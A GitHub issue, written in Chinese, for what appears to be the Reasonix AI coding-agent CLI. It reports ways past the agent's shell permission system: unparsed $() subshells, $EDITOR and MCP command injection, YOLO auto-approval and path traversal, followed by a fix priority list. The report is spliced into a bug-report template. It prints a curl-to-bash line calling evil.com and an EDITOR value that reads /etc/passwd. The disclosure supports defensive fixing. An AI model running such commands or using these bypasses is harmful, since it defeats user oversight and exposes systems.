Skip to content

权限系统可以被绕过 #2039

Description

@bfxh

**Screen flicker可组合利用的攻击链

  1. Shell权限系统完全绕过 (Critical)

BUG-076 + BUG-078 → Shell tokenizer不处理 $(cmd) 子shell语法 + run_command默认标记safe → 攻击者可以:

code

复制
curl http://evil.com/sh.sh | bash
绕过所有安全检测!模型只需在命令中嵌入 $() 即可执行任意未授权命令。

  1. Shell注入双杀 (Critical)

BUG 入口 风险
BUG-055 $EDITOR 环境变量 export EDITOR="vim; cat /etc/passwd"
BUG-056 MCP stdio command 字段 配置恶意MCP服务器执行任意命令
3. YOLO模式=无权限 (High)

BUG-080: YOLO模式下 path_access + run_command + run_background 全部自动放行,等于完全禁用权限系统。

  1. 路径遍历三连击

BUG 入口
BUG-044 install_skill 名称参数
BUG-057 Desktop IPC session_import
BUG-058 memory-browser.ts 内存读取
🎯 按攻击面排序的 P0 修复清单
优先级 BUG 攻击面 影响
P0 BUG-076+078 Shell tokenizer绕过 任意命令执行
P0 BUG-055 $EDITOR注入 任意命令执行
P0 BUG-056 MCP stdio注入 任意命令执行
P0 BUG-044 skill安装路径遍历 任意文件写入
P1 BUG-026 Fold截断工具调用 API 400崩溃
P1 BUG-028 无迭代上限 无限token消耗
P1 BUG-027 会话写入竞态 数据丢失
P1 BUG-080 YOLO模式无限制 权限系统形同虚设, garbled output, leftover artifacts, cursor jumping?**

Use the Display / rendering issue template instead — it asks for the
terminal-specific info we need to diagnose those.

What happened
A clear and concise description.

Expected
What you expected to happen.

Reproduction
Steps or minimal code that reproduces it.

Environment

  • Reasonix version (reasonix --version):
  • Node version (node --version):
  • OS (Windows 11 / macOS 14 / Ubuntu 24.04 / …):
  • Shell (bash, zsh, fish, PowerShell 7, PowerShell 5.1, cmd, …):
  • Terminal app (Windows Terminal, iTerm2, Alacritty, kitty, WezTerm, VSCode integrated, Cursor integrated, Hyper, …):
  • DeepSeek model (e.g. deepseek-v4-flash, deepseek-v4-pro):

Logs / transcript
If using the CLI, attach the relevant chunk of --transcript, or run
reasonix doctor and paste the output.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't workingv1Legacy TypeScript line (0.x) — v1 branch, maintenance only

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions